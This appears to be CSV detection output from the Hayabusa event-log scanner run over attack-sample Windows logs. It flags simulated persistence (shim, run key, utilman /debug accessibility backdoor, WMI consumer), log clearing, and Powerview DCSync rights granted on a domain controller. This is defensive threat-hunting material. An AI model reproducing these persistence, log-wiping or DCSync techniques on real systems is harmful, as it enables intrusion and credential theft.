C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:53.922 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.102 +09:00,PC01.example.corp,1,informational,Process Creation,Command: gpscript.exe /Startup : Path: C:\Windows\System32\gpscript.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k GPSvcGroup,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.172 +09:00,PC01.example.corp,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.172 +09:00,PC01.example.corp,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.172 +09:00,PC01.example.corp,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.172 +09:00,PC01.example.corp,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.182 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.182 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.593 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Program Files\freeSSHd\FreeSSHDService.exe"" : Path: C:\Program Files\freeSSHd\FreeSSHDService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.603 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.603 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.783 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""taskhost.exe"" : Path: C:\Windows\System32\taskhost.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.793 +09:00,PC01.example.corp,1,informational,Process Creation,Command: atbroker.exe : Path: C:\Windows\System32\AtBroker.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:54.813 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\slui.exe"" : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.224 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.224 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.404 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.404 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.514 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.514 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.544 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.544 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.594 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.594 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.654 +09:00,PC01.example.corp,1,informational,Process Creation,Command: gpscript.exe /Logon : Path: C:\Windows\System32\gpscript.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k GPSvcGroup,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.654 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\userinit.exe : Path: C:\Windows\System32\userinit.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.725 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\Explorer.EXE : Path: C:\Windows\explorer.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\userinit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.805 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe $(Arg0) : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.835 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.835 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:55.965 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\Sysmon.exe : Path: C:\Windows\Sysmon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:56.055 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:56.055 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:56.376 +09:00,PC01.example.corp,1,informational,Process Creation,Command: calc.exe : Path: C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:56.376 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:56.406 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\wlms\wlms.exe : Path: C:\Windows\System32\wlms\wlms.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:56.626 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\wbem\unsecapp.exe -Embedding : Path: C:\Windows\System32\wbem\unsecapp.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:57.237 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\UI0Detect.exe : Path: C:\Windows\System32\UI0Detect.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:57.627 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:58.278 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /c msg * ""hello from run key"" : Path: C:\Windows\System32\cmd.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:58.288 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\PSEXESVC.exe"" : Path: C:\Windows\PSEXESVC.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:58.489 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: msg * ""hello from run key"" : Path: C:\Windows\System32\msg.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Windows\System32\cmd.exe"" /c msg * ""hello from run key""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:58.989 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:19:04.187 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe SYSTEM : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:19:10.796 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\mmc.exe"" ""C:\Windows\system32\eventvwr.msc"" : Path: C:\Windows\System32\mmc.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:20:19.155 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:20:19.205 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:20:19.295 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""c:\osk.exe"" : Path: C:\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:21:01.325 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Program Files\Windows Media Player\wmpnetwk.exe"" : Path: C:\Program Files\Windows Media Player\wmpnetwk.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:21:48.323 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:23:41.105 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:34:25.894 +09:00,PC01.example.corp,104,high,System log file was cleared,User: user01,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_104_system_log_cleared.evtx +2019-03-20 08:35:07.524 +09:00,PC01.example.corp,1102,high,Security log was cleared,User: user01,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_1102_security_log_cleared.evtx +2019-03-25 18:09:14.916 +09:00,DC1.insecurebank.local,1102,high,Security log was cleared,User: bob,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ACL_ForcePwd_SPNAdd_User_Computer_Accounts.evtx +2019-03-26 06:28:11.073 +09:00,DC1.insecurebank.local,1102,high,Security log was cleared,User: bob,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.022 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.022 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.023 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.023 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.023 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.023 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.024 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.024 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.024 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.025 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.025 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.025 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.025 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.025 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.026 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.026 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.026 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.026 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-04-04 03:11:54.098 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Users\user01\Desktop\WMIGhost.exe"" : Path: C:\Users\user01\Desktop\WMIGhost.exe : User: PC04\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/wmighost_sysmon_20_21_1.evtx +2019-04-04 03:11:54.178 +09:00,PC04.example.corp,20,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/wmighost_sysmon_20_21_1.evtx +2019-04-04 03:11:54.178 +09:00,PC04.example.corp,20,high,Suspicious Scripting in a WMI Consumer,,rules/sigma/wmi_event/sysmon_wmi_susp_scripting.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/wmighost_sysmon_20_21_1.evtx +2019-04-04 03:11:54.198 +09:00,PC04.example.corp,21,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/wmighost_sysmon_20_21_1.evtx +2019-04-04 03:12:00.016 +09:00,PC04.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\wbem\scrcons.exe -Embedding : Path: C:\Windows\System32\wbem\scrcons.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/wmighost_sysmon_20_21_1.evtx +2019-04-04 03:12:00.016 +09:00,PC04.example.corp,1,high,WMI Persistence - Script Event Consumer,,rules/sigma/process_creation/win_wmi_persistence_script_event_consumer.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/wmighost_sysmon_20_21_1.evtx +2019-04-19 01:55:37.125 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\Sysmon.exe : Path: C:\Windows\Sysmon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:55:37.125 